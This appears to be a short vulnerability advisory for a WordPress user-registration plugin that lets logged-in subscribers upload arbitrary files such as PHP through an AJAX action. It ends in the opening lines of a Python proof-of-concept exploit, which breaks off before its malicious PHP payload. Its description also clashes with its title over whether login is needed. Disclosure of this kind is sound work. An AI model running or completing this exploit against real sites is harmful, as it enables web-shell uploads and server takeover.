User Registration < 2.2.4.1 - Subscriber+ Arbitrary File Upload

The plugin does not properly restrict the files to be uploaded via an AJAX action available to both unauthenticated and authenticated users, which could allow unauthenticated users to upload PHP files for example.

PoC

The following Python script automates the exploitation of this plugin by uploading a malicious PHP file (tested on a default installation of WordPress 6.1) -– import io import random import re import string import requests BASE_URL = input("Enter the target URL: ") USERNAME = input("Enter the subscriber user: “) PASSWORD = input(“Enter the user password: “) PAYLOAD = io.StringIO(”””\